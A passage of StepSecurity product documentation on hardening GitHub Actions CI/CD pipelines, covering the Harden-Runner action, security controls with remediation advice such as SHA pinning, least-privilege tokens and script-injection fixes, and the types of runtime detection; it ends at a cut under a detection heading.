StepSecurity provides full programmatic control of the platform so teams can automate configuration, integrate with existing workflows, and manage security settings as code.

* **API Access:** Everything on the StepSecurity dashboard is powered by public APIs. These APIs are documented directly in the app and provide [tenant](/administration/admin-console/integrations/stepsecurity-api-tenant-access) and [organization](/workspace/settings/stepsecurity-api-org-access) level locations to access the Swagger documentation.
* **Terraform provider:** StepSecurity provides a [Terraform provider](/administration/admin-console/integrations/terraform-provider) that allows you to manage the StepSecurity platform in a code repository with version control and change history.


# Security Engineer Experience

This page outlines how Security Engineers can use the StepSecurity platform to strengthen CI/CD security, monitor supply chain risk, and respond effectively to runtime threats in GitHub Actions environments.

Security Engineers typically rely on StepSecurity for four key workflows:

* Integrating CI/CD telemetry into existing security operations
* Reviewing third-party GitHub Actions for compromise risk
* Searching packages for known malicious activity
* Investigating StepSecurity alerts

### Integration with SIEM

StepSecurity supports integrations with external platforms to enhance your security workflows, automate telemetry export, and streamline policy enforcement.

We currently support the following third party integrations:

* [S3 Integration](/administration/admin-console/integrations/s3-integration): Export Harden-Runner insights and detections to S3
* [Webhook Integration](/administration/admin-console/integrations/webhook-integration): Send event data to SIEM platforms or custom pipelines
* [Slack OAuth Integration](/administration/admin-console/integrations/slack-oauth-integration): Receive detection alerts and respond faster
* [Terraform Provider](/administration/admin-console/integrations/terraform-provider): Manage policies and integrations through infrastructure-as-code

Check out more about this feature [here](/administration/admin-console/integrations)

### Third Party Actions Review

Third-party GitHub Actions are one of the most common entry points for CI/CD supply chain attacks.

StepSecurity makes it easy to review and stay up to date with all third-party actions across your organization.

**Explore the interactive demo to see how StepSecurity helps you continuously assess third-party action risk:**

{% embed url="<https://app.storylane.io/share/7knt90pvlykj>" %}

Learn more about this feature [here](/github-actions/actions)

### OSS Package Search

The OSS Package Search feature helps Security Engineers quickly identify where specific npm/pypi packages were introduced across pull requests, default branches and developer machines within their organization.

This is especially useful when responding to compromised or vulnerable dependencies, allowing teams to:

* Trace affected pull requests
* Understand the potential blast radius across repositories
* Take targeted remediation actions

StepSecurity supports searches across the Node.js ecosystem, including npm, yarn, and pnpm dependency files.

**Follow the interactive demo to see how OSS Package Search works in practice:**

{% embed url="<https://app.storylane.io/share/ikokjxskmmum>" %}

Learn more about this feature [here](/packages/oss-package-search)

### Investigating StepSecurity Alerts

#### Harden-Runner Detections

CI/CD runners handle sensitive secrets and production builds, but often lack the monitoring coverage of traditional endpoints. Harden-Runner fills this gap by providing runtime security tailored for GitHub Actions workflows.

When a detection is triggered, Security Engineers can use StepSecurity to:

* Review the detection context and severity
* Identify affected workflows, repositories, and outbound activity
* Investigate suspicious behavior such as secret exfiltration, anomalous network calls, or source code tampering
* Apply recommended policies and enforcement to prevent recurrence

**Follow the interactive demo to see how detections are triaged and resolved:**

{% embed url="<https://app.storylane.io/share/aor6f79cgvi6>" %}

Learn more about this feature [here](/github-actions/harden-runner)

#### Check Failures (GitHub Checks)

StepSecurity’s GitHub Checks feature brings CI/CD security signals directly into the pull request workflow, helping Security Engineers enforce controls before risky changes are merged.

These checks make it easy to:

* Understand why a workflow or dependency change was blocked
* Surface Harden-Runner detections and supply chain risks inside GitHub
* Enforce security guardrails through required or optional merge checks

When a check fails, Security Engineers can quickly review the findings, validate whether the behavior is expected, and approve or remediate as needed.

This ensures security-driven failures are actionable, auditable, and integrated into the developer workflow.

**Follow the interactive demo to see how failed checks are investigated and resolved:**

{% embed url="<https://app.storylane.io/share/fpjwzuncyj3d>" %}

Learn more about this feature [here](/github/github-checks)

#### Workflow Run Policies Failures

Workflow Run Policies allow you to enforce security controls by blocking GitHub Actions workflow runs that violate organization-defined policies. If your workflow run is cancelled and you see the message:

> *“The run was canceled by @stepsecurity-app\[bot]”*

it means the run violated a security policy configured by your StepSecurity administrator for your organization.

To understand the different scenarios where these policies may be triggered, explore the interactive demo below:

{% embed url="<https://app.storylane.io/share/wqwt6rvtvcgf>" %}

Learn more about this feature [here](/github-actions/workflow-run-policies)

#### Threat Center Alerts

Threat Center is a dedicated hub in the StepSecurity dashboard that provides visibility into active supply chain compromises, historical threat insights, and actionable remediation guidance. Each alert includes direct links to detailed threat analysis so you can quickly understand impact and next steps.

When you receive an alert:

* Open the StepSecurity dashboard.
* Navigate to Artifact Security and select Threat Center from the dropdown menu.

<figure><img src="/files/rLGxONyW59wwhUfgUhIj" alt=""><figcaption></figcaption></figure>

* Click on the most recent attack to review the full details.
* In the alert page, locate the Remediation section and follow the recommended steps to address the issue.

<figure><img src="/files/ddTSbNE82x4CfLorGJlO" alt=""><figcaption></figcaption></figure>

By applying the provided remediation guidance, you can ensure your workflows remain secure against the reported threat.

#### Control Failures

StepSecurity provides security controls as targeted checks across your GitHub organization’s workflows, helping ensure compliance with industry-standard best practices.

When a workflow fails one of these controls, it indicates a configuration or behavior that does not meet the recommended security requirements.

For a complete overview of supported controls, refer to the [full list](/workspace/overview)

<figure><img src="/files/MNh7qIV1nYkMz4sEKR0W" alt=""><figcaption></figcaption></figure>

Most control failures can be resolved using [Policy-Driven Pull Requests](/github/orchestrate-security/policy-driven-prs), which automatically generate guided fixes directly in your repository.

**This interactive demo walks you through how to set up Policy-Driven PRs:**

{% embed url="<https://app.storylane.io/share/fqqaobdwgodp>" %}


# Getting Started

### **Get runtime visibility into your GitHub Actions workflows in under 5 minutes**

#### **Step 1: Add Harden-Runner to Your Workflow**

Open your GitHub Actions workflow file (e.g., `.github/workflows/<workflow-name>.yml`) and add the following as the first step in each job:

```yaml
steps:
  - uses: step-security/harden-runner@v2
    with:
      egress-policy: audit
```

#### **Step 2: View Your First Security Insights**

Run your workflow. Once it completes, review the workflow logs and the job markdown summary. Look for a link to security insights and recommendations.

<figure><img src="/files/yrDuxxAAa70yPlNz6w6T" alt="Screenshot of a GitHub Actions build log showing the successful execution of a StepSecurity Harden Runner job. The build process includes three completed steps: ✔ Set up job ✔ Pre Harden Runner ✔ Harden Runner  The log shows the command “Run step-security/harden-runner” with a specific commit SHA (@2e205a28d0e1da00c5f53b161f4067b052c61f34). Below, a highlighted message in green text directs the user to “View security insights and recommended policy” with a link to StepSecurity’s application dashboard (https://app.stepsecurity.io/...). The URL is enclosed in a red oval highlight"><figcaption><p>Github Actions build log</p></figcaption></figure>

Click the link to open the Insights page, where you'll see:

**Network events**: Outbound network calls correlated with each step.

**File events**: File writes tracked during the job.

<figure><img src="/files/LUgEClmzXBS6PsbjLccA" alt="Screenshot of StepSecurity’s Network Events monitoring interface for a GitHub Actions workflow named “build.” The interface displays two allowed network events: 	1.	Checkout repository using actions/checkout via the git-remote-http process, connecting to GitHub.com over port 443. 	2.	Install dependencies using Python 3.11, connecting to PyPI.org over port 443.  Both actions have a “Status: Allowed” and corresponding timestamps (January 30, 2025, at 22:05:35 and 22:05:37). The left sidebar shows the “build” job as successful. The interface includes filtering options, a search bar, and an export button in the top-right corner. The “Network Events” tab is highlighted, and other tabs like Summary, File Write Events, Recommendations, and Controls are visible."><figcaption><p>StepSecurity Insights Network Events page</p></figcaption></figure>

### **What's Next?**

You now have audit-mode visibility into your CI/CD pipeline. From here you can:

* Set up [network blocking](/github-actions/harden-runner/workflow-runs#filter-outbound-network-traffic-to-allowed-endpoints) to restrict outbound traffic to allowed endpoints
* Use [Secure Repo](/github/orchestrate-security/secure-repo) to add Harden-Runner across all your repositories at once
* Use [OSS Package Search ](/packages/oss-package-search)to catch compromised packages in PRs

**Tip:** You can skip manual YAML editing. Use [Secure Workflow](/github/orchestrate-security/secure-workflow) to add Harden-Runner to a single workflow automatically, or [Secure Repo](/github/orchestrate-security/secure-repo) to secure all workflow files in a repository at once.


# Quickstart (Community Tier)

Welcome to StepSecurity Community Tier! Here’s everything you need to know to get started:

**Public Repositories Only**: The **Community Tier** works exclusively with **public** repositories. If you’d like to use StepSecurity with private repositories, consider upgrading to the [**Enterprise Tier**](https://www.stepsecurity.io/start-free), which includes a 14-day free trial.

**Usage limits:** The Community Tier includes **13,000** Harden-Runner runs per week. After this limit is reached, Harden-Runner will continue to run but will not enforce protections on your builds.

## **How to Get Started**

There are **two** ways to set up security using StepSecurity Community Tier:

<table data-card-size="large" data-view="cards"><thead><tr><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><p><strong>Secure Workflow</strong></p><p>Apply Security Settings to a Single Workflow File</p></td><td><a href="/pages/eN1QwVvKqhSo2mqJp393">/pages/eN1QwVvKqhSo2mqJp393</a></td></tr><tr><td><p><strong>Secure Repo</strong></p><p>Apply Security Settings to Multiple Workflow Files using a Pull Request</p></td><td><a href="/pages/95RYqYuiEkiYQ3P64Gh3">/pages/95RYqYuiEkiYQ3P64Gh3</a></td></tr></tbody></table>

<br>


# Quickstart (Enterprise Tier)

### Installing StepSecurity on GitHub Cloud

To install StepSecurity on GitHub Cloud, follow these instructions:

1. Install the [StepSecurity App](https://github.com/apps/stepsecurity-actions-security) to get started with the Enterprise Tier.
2. Once installed, your 14-day free trial will begin automatically.
3. Open the app and go to the Get Started section to set up and secure your CI/CD pipelines.

<figure><img src="/files/CxMU8kPbolaQPZyn6Qmy" alt=""><figcaption></figcaption></figure>

#### Installing StepSecurity on GitHub Enterprise Server

To install StepSecurity on your GitHub Enterprise Server, follow these [deployment instructions](/administration/admin-console/resources/github-enterprise-servers#github-enterprise-server-deployment-instructions)


# Overview

{% hint style="warning" %}
Available for **Enterprise** Tier users only
{% endhint %}

After you install the [StepSecurity Actions Security GitHub App](https://github.com/apps/stepsecurity-actions-security) in your GitHub Account and access your dashboard, you should see the `Overview` dashboard.

On this page, you can see all the controls enabled by StepSecurity:

<figure><img src="/files/7QVxzdWcHZ91BJTwCYEZ" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
**Newly added repositories may take up to 1 hour to appear on the dashboard**
{% endhint %}

## All Controls

| Control                                                                                                                                                                                   | Description                                                                                                                                                                       | Remediation                                                                                                                              |
| ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------- |
| [Network and runtime security monitoring should be enabled for GitHub-hosted runners](#network-and-runtime-security-monitoring-should-be-enabled-for-github-hosted-runners)               | This check ensures that [Harden-Runner](/github-actions/harden-runner) is in your workflow to protect GitHub-hosted runners from unauthorized access, exfiltration, and tampering | [Secure Repo](/github/orchestrate-security/secure-repo) / [Secure Workflow](/github/orchestrate-security/secure-workflow)                |
| [Network and runtime security should be enabled for self-hosted runners](#network-and-runtime-security-should-be-enabled-for-self-hosted-runners)                                         | This check ensures that the necessary monitoring measures are in place to protect self-hosted runners against unauthorized access and tampering                                   | Deploy [Harden-Runner](/github-actions/harden-runner) on [self-hosted](/github-actions/harden-runner/harden-runner-installation) runners |
| [Prevent execution of untrusted code from context variables (Script Injection Vulnerability)](#prevent-execution-of-untrusted-code-from-context-variables-script-injection-vulnerability) | This check prevents untrusted input from executing as code, reducing script injection risks in workflows                                                                          | Enable [GitHub Checks](/github/github-checks/configuration#script-injection) and apply workflow-level fixes                              |
| [Prevent execution of untrusted code from forks (Pwn Request Vulnerability)](#prevent-execution-of-untrusted-code-from-forks-pwn-request-vulnerability)                                   | This check ensures workflows triggered by unsafe events (e.g., pull\_request\_target) don’t run untrusted code from forks without safeguards                                      | Enable [GitHub Checks](/github/github-checks/configuration#pwn-request) and apply workflow-level fixes                                   |
| [Actions should be pinned to a full-length commit SHA](#actions-should-be-pinned-to-a-full-length-commit-sha)                                                                             | This check ensures GitHub Actions use full commit SHAs instead of branches or tags.                                                                                               | [Secure Repo](/github/orchestrate-security/secure-repo) / [Secure Workflow](/github/orchestrate-security/secure-workflow)                |
| [Compromised npm packages found in PR](#compromised-npm-packages-found-in-pr)                                                                                                             | This check ensures PRs do not introduce confirmed compromised npm packages into the repository                                                                                    | Update or remove compromised packages and rotate secrets if exposed                                                                      |
| [Developer machines should use a secure registry instead of public package registries](#developer-machines-should-use-a-secure-registry-instead-of-public-package-registries)             | This check passes if the package manager's effective registry on the developer machine is a private registry, not a public registry such as registry.npmjs.org or pypi.org        | Configure npm, pip, and other package managers on developer machines to use a [secure registry](/packages/secure-registry)               |
| [Jobs should use a secure registry instead of public package registries](#jobs-should-use-a-secure-registry-instead-of-public-package-registries)                                         | This check passes if the job's network baseline contains no calls to public package registries such as registry.npmjs.org, pypi.org, or registry-1.docker.io                      | Configure the job's package managers to use a [secure registry](/packages/secure-registry)                                               |
| [Default branch should be protected](#default-branch-should-be-protected)                                                                                                                 | This check ensures the repository's default branch has branch protection rules enabled, including required pull request reviews, blocked force pushes, and admin enforcement      | Enable branch protection on the default branch in GitHub                                                                                 |
| [GITHUB\_TOKEN should have minimum permissions](#github_token-should-have-minimum-permissions)                                                                                            | This check ensures workflows use least privilege token permissions, minimizing excessive access risks                                                                             | [Secure Repo](/github/orchestrate-security/secure-repo) / [Secure Workflow](/github/orchestrate-security/secure-workflow)                |
| [Third-party GitHub Actions with high scores should be used](#third-party-github-actions-with-high-scores-should-be-used)                                                                 | This check ensures each GitHub Action used in the job has a security score of 6 or above to minimize security risks                                                               | Use [StepSecurity Actions](broken://pages/iLGoduc5SUvjwVQcvzhz)                                                                          |
| [OIDC should be used when deploying to the cloud](#oidc-should-be-used-when-deploying-to-the-cloud)                                                                                       | This check ensures deployment actions use OIDC authentication instead of long-term secrets                                                                                        | Remove long-term secrets from your repository and migrate to OIDC-based authentication                                                   |
| [Publishing secrets should be set as environment secrets](#publishing-secrets-should-be-set-as-environment-secrets)                                                                       | This check ensures publishing secrets are stored as environment secrets for controlled access                                                                                     | Move publishing credentials to environment secrets                                                                                       |
| [Secrets should be rotated periodically](#secrets-should-be-rotated-periodically)                                                                                                         | This check ensures all Organization and Repository secrets have been rotated within the last 180 days                                                                             | Rotate secrets at least every 180 days to maintain security                                                                              |
| [Secrets should not be logged in build artifacts](#secrets-should-not-be-logged-in-build-artifacts)                                                                                       | This check ensures no secrets are present in build artifacts uploaded by workflows                                                                                                | Mask or redact secrets from build artifacts before upload                                                                                |
| [Secrets should not be logged in the build log](#secrets-should-not-be-logged-in-the-build-log)                                                                                           | This check ensures no secrets are present in the build log                                                                                                                        | Mask sensitive outputs                                                                                                                   |

StepSecurity provides these controls as specific checks on your GitHub organization workflows, ensuring compliance with industry-standard security practices.

### Managing Findings

Each control surfaces findings across your repositories and workflows. From the control detail page, you can review findings, track remediation progress, and suppress findings that don't apply to your environment.

<figure><img src="/files/Tq3Hsxcn9P7mbYuZN57I" alt=""><figcaption></figcaption></figure>

The detail page for each control organizes findings into four tabs:

* **Findings** — Active findings that require attention.
* **In Progress** — Findings with remediation work underway (for example, an automated pull request that has been opened but not yet merged).
* **Fixes** — Findings that have been resolved.
* **Suppressed** — Findings you've chosen to exclude from active tracking.

#### Suppressing findings

Suppression is useful when a finding is a known false positive, an accepted risk, or otherwise not applicable to your environment. To suppress a finding:

1. Open the control detail page from the All Controls table.
2. Locate the finding in the **Findings** tab.
3. Click the action menu on the finding row and select the suppress option.

Suppressed findings move to the **Suppressed** tab and no longer count against the control's compliance status. You can unsuppress a finding at any time to return it to active tracking.

<figure><img src="/files/l1j6NKxviGkT4BI6mvSv" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
Suppressing a finding does not fix the underlying issue — it only excludes the finding from active tracking. Use suppression deliberately and document the reason where possible.
{% endhint %}

### Network and runtime security monitoring should be enabled for GitHub-hosted runners

This check ensures that the [step-security/harden-runner](https://github.com/step-security/harden-runner) GitHub Action is included in your workflow for GitHub-hosted runners to prevent unauthorized access, exfiltration, and tampering.

#### Why This Matters

Without security monitoring, attackers can exploit CI/CD workflows to leak sensitive code or credentials. Harden-Runner helps detect and prevent these threats by monitoring network activity and restricting unexpected behaviors.

#### How to Fix It

Fix this issue with an automated pull request that adds the step-security/harden-runner GitHub Action to the job using [Secure Workflow](/github/orchestrate-security/secure-workflow) or [Secure Repo](/github/orchestrate-security/secure-repo)

### Network and runtime security should be enabled for self-hosted runners

This check ensures that the necessary monitoring measures are in place to protect self-hosted runners against unauthorized access and tampering

#### Why This Matters

Without security monitoring, attackers can exploit self-hosted runners to exfiltrate code or steal CI/CD credentials. Harden-Runner helps mitigate these risks by monitoring network activity and detecting suspicious file modifications.

#### How to Fix It

* Deploy Harden-Runner on self-hosted runners by following the instructions in the [Self-Hosted Runner Settings](/github-actions/harden-runner/harden-runner-installation)

### Prevent execution of untrusted code from context variables (Script Injection Vulnerability)

This check ensures context variables in workflows are not used in a way that allows untrusted input to be executed as code, preventing script injection vulnerabilities.

#### Why This Matters

If workflow context variables (e.g., `${{ github.event.issue.title }}`) are not properly handled, attackers can inject malicious scripts into workflows. This can lead to arbitrary command execution, data exfiltration, or unauthorized access to repository secrets.

#### How to Fix It

**Enable continuous scanning with GitHub Checks**

The most reliable way to catch script injection vulnerabilities is to enable [GitHub Checks](/github/github-checks/configuration#script-injection), which scans your workflow files for script injection patterns on every pull request. The check flags overly permissive triggers and unsanitized external inputs as a failing or blocking check, so issues are surfaced before they're merged.

In addition to enabling GitHub Checks, apply these workflow-level fixes:

**Avoid inline scripts**

Wherever possible, use tried and tested GitHub Actions instead of inline scripts. Please note that a GitHub Action itself can be vulnerable to script injection attacks, so you must review the Action before using it.

**Intermediate Environment Variable**

If you must use inline scripts, consider using intermediate environment variables to access user controller attributes. Here is an example:

```yaml
name: Fix For Script Injection
on:
  pull_request:
jobs:
  vulnerability-fix:
  runs-on: ubuntu-latest
  steps:
    - name: Echo Pull Request Title
      env:
        PR_TITLE: ${{ github.event.pull_request.title }}
      run: |
        echo "Pull Request Title: $PR_TITLE"
```

### Prevent execution of untrusted code from forks (Pwn Request Vulnerability)

This check ensures that workflows triggered by potentially unsafe events, such as pull\_request\_target, do not execute untrusted code from forked repositories without proper safeguards.

#### Why This Matters

Using risky triggers like pull\_request\_target without explicitly defining a reference (ref) when checking out code can expose secrets and lead to repository compromises. Attackers can manipulate pull requests to run unauthorized code with elevated permissions.

#### How to Fix It

**Enable continuous scanning with GitHub Checks**

The most reliable way to catch pwn request vulnerabilities is to enable [GitHub Checks](/github/github-checks/configuration#pwn-request), which inspects your workflow files for insecure configurations such as `pull_request_target` triggers that can be exploited by malicious forked PRs. The check flags these risks on every pull request before they can be merged.

In addition to enabling GitHub Checks, apply one or more of these workflow-level fixes:

* Use a safer trigger: Prefer `pull_request` over `pull_request_target` where possible.
* Restrict code checkout: If you must use `pull_request_target`, ensure that the code is only checked out from a trusted branch by specifying an explicit ref:

```yaml
- name: Checkout trusted code
  uses: actions/checkout@v3
  with:
    ref: 'main' # Specify a safe reference instead of defaulting to PR changes
```

* Limit workflow permissions to minimize access to secrets and other sensitive data.

### Actions should be pinned to a full-length commit SHA

This check ensures each GitHub Action used in the job is referenced using a full-length commit SHA instead of a branch name or version tag.

#### Why This Matters

Referencing GitHub Actions by branch name (e.g., main) or version tags (e.g., v1.0.0) introduces security risks. The action’s code could change unexpectedly, potentially introducing vulnerabilities. Pinning actions to a full-length commit SHA ensures that only the expected, reviewed code is executed, reducing the risk of supply chain attacks.

#### How to Fix it

* Pin Actions to a full-length commit SHA.
* Fix this issue with an automated pull request that adds the step-security/harden-runner GitHub Action to the job using [Secure Workflow](/github/orchestrate-security/secure-workflow) or [Secure Repo](/github/orchestrate-security/secure-repo)

### Compromised npm packages found in PR

This check ensures that pull requests (PRs) do not introduce known compromised npm packages into the codebase.

#### **Why This Matters**

Introducing compromised npm packages into a repository can result in severe security issues, including:

* Unauthorized code execution during CI/CD runs,
* Exfiltration of secrets via malicious package behavior,
* Complete takeover of repository environments, especially if secrets or deployment keys are exposed during the workflow.

#### **How to Fix it**

* Update the compromised package(s) to a safe version, preferably the latest secure release.
* Replace or remove the package if it is no longer actively maintained or cannot be safely updated.
* Rotate your secrets if a known-compromised package was already used in prior workflow runs.

### Developer machines should use a secure registry instead of public package registries

This check passes if the package manager's effective registry on the developer machine is a private registry, not a public registry such as `registry.npmjs.org` or `pypi.org`.

This control is **tenant-wide**: it covers every registered developer machine in your tenant, across all organizations. It requires the Dev Machine Guard agent to be installed on the machine.

#### **Why This Matters**

Developer machines that install packages directly from public registries are exposed to malicious or compromised packages before code ever reaches CI/CD. A malicious version published to a public registry can land on a laptop the moment it goes live, ahead of any pull request, build, or CI policy check. Routing installs through a secure registry puts a controlled intermediary in front of the public registry, so packages are validated against policy before they reach the machine.

The check evaluates package-manager configuration on the device, so it reports what a machine is configured to resolve from rather than a record of packages it has already downloaded.

#### **How to Fix It**

Configure the package managers on each developer machine to resolve packages through a secure registry (for example, StepSecurity Secure Registry, JFrog Artifactory, AWS CodeArtifact, or Sonatype Nexus Repository) instead of the public registry, and deploy that configuration through managed config files (`.npmrc`, `pip.conf`) so it applies consistently across machines.

* To route npm through StepSecurity Secure Registry, follow the Setup Guide. Use the **Direct npm (`.npmrc`)** integration path for machines without an artifact manager, or the JFrog Artifactory, Google Artifact Registry, or Sonatype Nexus paths if you already proxy npm through one of those.
* Use Package Configs to verify the change landed. The **Effective registry** column shows the registry each device resolves from and the scope the value was set in.
* Once a device's effective registry is private for a given package manager, that device and tool pair passes on the next scan.

### Jobs should use a secure registry instead of public package registries

This check passes if the job's network baseline contains no calls to public package registries such as `registry.npmjs.org`, `pypi.org`, or `registry-1.docker.io`.

#### **Why This Matters**

Routing package downloads through a secure registry protects CI/CD jobs from malicious or compromised packages published to public registries. When jobs pull dependencies directly from public registries, a newly published malicious version can reach your build the moment it goes live. A secure registry acts as a controlled intermediary, so packages are vetted before they reach your workflows.

#### **How to Fix It**

Configure the job's package managers to use a secure registry (e.g., [StepSecurity Secure Registry](/packages/secure-registry), JFrog Artifactory, Sonatype Nexus) instead of the public registry.

* To use StepSecurity Secure Registry, follow the [Setup Guide](/packages/secure-registry/setup-guide).
* Once package downloads are routed through the secure registry, the job's network baseline will no longer contain calls to public registries and the check will pass.

### Default branch should be protected

This check ensures the repository's default branch has branch protection rules enabled, including required pull request reviews, blocked force pushes, and admin enforcement.

#### **Why This Matters**

Branch protection prevents unauthorized or unreviewed changes from landing on the branch that ships. Without it, anyone with write access can push directly to the default branch, force-push over history, or merge code without review. Each of these gaps gives an attacker or a compromised contributor a straight path to inject malicious or unsafe code into production.

Required pull request reviews ensure at least one other person sees every change. Blocking force pushes preserves the audit trail and prevents history rewrites that hide malicious commits. Admin enforcement closes the most common escape hatch, which is admins bypassing the rules they set for everyone else.

#### **How to Fix It**

Enable branch protection on the default branch in GitHub:

* Require at least 1 approving pull request review before merging
* Block force pushes
* Enforce the rules for administrators (do not allow admins to bypass protections)

You can configure these settings under Settings > Branches > Branch protection rules in each repository, or apply them at scale using GitHub rulesets at the organization level.

### GITHUB\_TOKEN should have minimum permissions

This check ensures that GitHub workflows use the least required token permissions at the job or workflow level, reducing the risk of excessive access.

#### Why This Matters

By default, GitHub tokens may have broad permissions, increasing the attack surface. If a workflow grants unnecessary privileges, a compromised workflow run could lead to unauthorized actions, such as modifying repository settings or leaking sensitive data.

#### How to Fix it

* Set minimum GitHub token permissions at the job or workflow level.
* Fix this issue with an automated pull request that adds the step-security/harden-runner GitHub Action to the job using [Secure Workflow](/github/orchestrate-security/secure-workflow) or [Secure Repo](/github/orchestrate-security/secure-repo)

### Third-party GitHub Actions with high scores should be used

This check ensures each GitHub Action used in the job has a security score of 6 or above to minimize security risks.

#### Why This Matters

Using third-party GitHub Actions with low-security scores increases the risk of vulnerabilities, including supply chain attacks. Actions with higher security scores are more likely to follow best practices, reducing the chance of exploitation.

#### How to Fix it

* Use [StepSecurity Actions](broken://pages/iLGoduc5SUvjwVQcvzhz) instead of third-party Actions with a low score.
* If there are no StepSecurity Maintained Actions, then you can [request a maintained Action](/github-actions/actions/github-actions-in-use#requesting-a-maintained-action)

### OIDC should be used when deploying to the cloud

This check ensures deployment GitHub Actions that support OpenID Connect (OIDC) are configured to use OIDC authentication instead of long-term secrets.

#### Why This Matters

Using long-term secrets in workflows increases security risks, as secrets can be leaked, misused, or rotated improperly. OIDC provides a more secure and automated way to authenticate deployments, eliminating the need to store and manage credentials manually.

#### How to Fix it

* Enable OIDC authentication for your deployment Actions instead of using static secrets.
* Update workflows to use federated credentials, which allow short-lived tokens to be issued dynamically.
* Remove long-term secrets from your repository and migrate to OIDC-based authentication for enhanced security.

### Publishing secrets should be set as environment secrets

This check ensures publishing secrets are stored as environment secrets rather than repository or organization secrets, ensuring they are only accessible under controlled conditions.

#### Why This Matters

Storing publishing secrets as environment secrets restricts their access to workflows running in protected branches or requiring manual approval. This prevents unauthorized use of sensitive credentials, reducing the risk of accidental exposure or misuse.

#### How to Fix It

* Move publishing credentials to environment secrets instead of using repository or organization secrets.
* Configure deployment protection rules to enforce manual approvals or restrict deployments to protected branches.

### Secrets should be rotated periodically

This check ensures all Organization and Repository secrets have been rotated within the last 180 days to minimize security risks.

#### Why This Matters

Long-lived secrets increase the risk of exposure, as compromised credentials can be misused for extended periods. Regularly rotating secrets reduces the likelihood of unauthorized access and mitigates the impact of leaked credentials.

#### How to Fix It

If this check fails, take one of the following actions:

* Rotate secrets at least every 180 days to maintain security.
* Use OpenID Connect (OIDC) for authentication instead of long-term secrets to eliminate the need for manual rotation.
* Automate secret management by integrating secret rotation policies into your security workflows.

### Secrets should not be logged in build artifacts

This check ensures no secrets are present in build artifacts produced by workflows, preventing accidental exposure through downloadable outputs.

#### **Why This Matters**

If secrets are written into build artifacts — such as compiled binaries, logs, archives, or test reports — they can be downloaded by anyone with access to the workflow run, including users who would not otherwise have access to repository secrets. Attackers who gain access to artifacts can extract credentials and use them to access repositories, infrastructure, or sensitive data.

#### **How to Fix It**

If this check fails, take one of the following actions:

* Review the artifact contents and remove any files containing secrets before uploading.
* Mask or redact sensitive values from files that must be included in artifacts.
* Avoid writing secrets to disk during workflow execution — use environment variables and ensure they are not persisted to artifact paths.
* Use OpenID Connect (OIDC) for authentication where possible to reduce reliance on long-term secrets.

### Secrets should not be logged in the build log

This check ensures no secrets are present in the build log, preventing accidental exposure of sensitive credentials.

#### Why This Matters

If secrets are logged in plaintext during builds, they can be exposed to unauthorized users, leading to security breaches. Attackers may exploit leaked credentials to gain access to repositories, infrastructure, or sensitive data.

#### How to Fix It

If this check fails, take one of the following actions:

* Mask sensitive values by using GitHub’s secrets masking feature to prevent them from appearing in logs.
* Avoid echoing secrets in scripts—use environment variables securely instead of printing them.
* Review build logs regularly for unintended secret exposure and take corrective action.
* Use OpenID Connect (OIDC) for authentication where possible to reduce reliance on long-term secrets.


# Detections

{% hint style="warning" %}
Available for **Enterprise** Tier only
{% endhint %}

Harden-Runner can monitor outbound runtime detections to help you stay informed about security risks in your GitHub Actions workflows. You can review all past runtime detections on the **Detections** page under the **Harden-Runner** menu.

{% hint style="info" %}
Harden-Runner detects compromised npm packages at runtime. For PR-level prevention, see [OSS Supply Chain Security → Prevent](/oss-supply-chain-security/prevent)
{% endhint %}

**Follow this interactive demo to see how it works:**

{% embed url="<https://app.storylane.io/share/4vqb7aofuavy>" %}

## Types of Detections

The **Detections** page covers **eleven** critical areas:

1. Secrets in Build Logs
2. Secrets in Artifacts
3. Outbound Calls Blocked
4. Anomalous Outbound Network Calls
5. Suspicious Outbound Network Calls
6. Source Code Overwritten
7. HTTPS Outbound Network Calls
8. Action Uses Imposter Commit
9. Suspicious Process Events
10. Agent Tampered
11. Secret Exfiltration Attempt

Each detection is linked to the relevant GitHub Actions workflow and run and includes direct links to the run and the insights URL that indicates where the detection happened.

### **Secrets in Build Logs**

**When it triggers:** A line in the workflow's build log contains a value matching a known secret pattern (API keys, cloud credentials, OAuth tokens, and similar). Each detection includes a masked preview and a link to the offending log line.

**Why it matters:** Build logs are visible to anyone with read access to the workflow run, which on public repos includes external contributors. Anything written to a log is effectively permanent because logs and forks may be archived long after the secret is rotated. Tools like the Azure, AWS, and Google Cloud CLIs occasionally print credentials by accident, and catching these at runtime lets you rotate the value before it is harvested.

<figure><img src="/files/NOYV5N6lQvIuvey695BZ" alt=""><figcaption></figcaption></figure>

### **Secrets in Artifacts**

**When it triggers:** An artifact uploaded by the workflow (via `actions/upload-artifact` or similar) contains an embedded value matching a known secret pattern.

**Why it matters:** Artifacts are downloadable by anyone with access to the workflow run and are often retained for weeks. A `.env` file, config bundle, or compiled binary that accidentally embeds a credential becomes a long-lived public exposure. Detecting it at publish time lets you delete the artifact and rotate the secret before it is downloaded.

<figure><img src="/files/cKACxHzI6peQzxxdBg8D" alt=""><figcaption></figcaption></figure>

### **Outbound Calls Blocked**

**When it triggers:** A workflow running with `egress-policy: block` attempts to reach a destination that is not on its allowlist, and Harden-Runner blocks the call.

**Why it matters:** Egress blocks are the enforcement layer that stops exfiltration in real time, but reviewing them is what closes the loop. A legitimate block means the allowlist needs updating; a malicious block means the runner was actively compromised and the secrets it had access to should be rotated. Calls blocked specifically because they hit a [Global Block List](/github-actions/harden-runner#global-block-list) IOC are labeled **Attack Blocked** so you can tell them apart from routine policy blocks.

<figure><img src="/files/VSrvm5Ul7OzVEsJ8n0Qi" alt=""><figcaption></figcaption></figure>

### **Anomalous Outbound Network Calls**

**When it triggers:** A workflow contacts a destination that is new or unusual relative to the baseline Harden-Runner has built for that workflow's outbound traffic. The baseline must be stable; runs against an unstable or still-forming baseline do not generate this alert.

**Why it matters:** Most CI/CD supply chain attacks rely on exfiltrating data to a previously-unseen attacker domain. Baseline comparison catches that first-time call even when the workflow is running in `audit` mode. This is the detection that surfaced the [tj-actions/changed-files compromise](https://www.stepsecurity.io/blog/harden-runner-detection-tj-actions-changed-files-action-is-compromised) (CVE-2025-30066).

<figure><img src="/files/xoeHiv15H5P1svAr3ZoK" alt=""><figcaption></figcaption></figure>

### **Suspicious Outbound Network Calls**

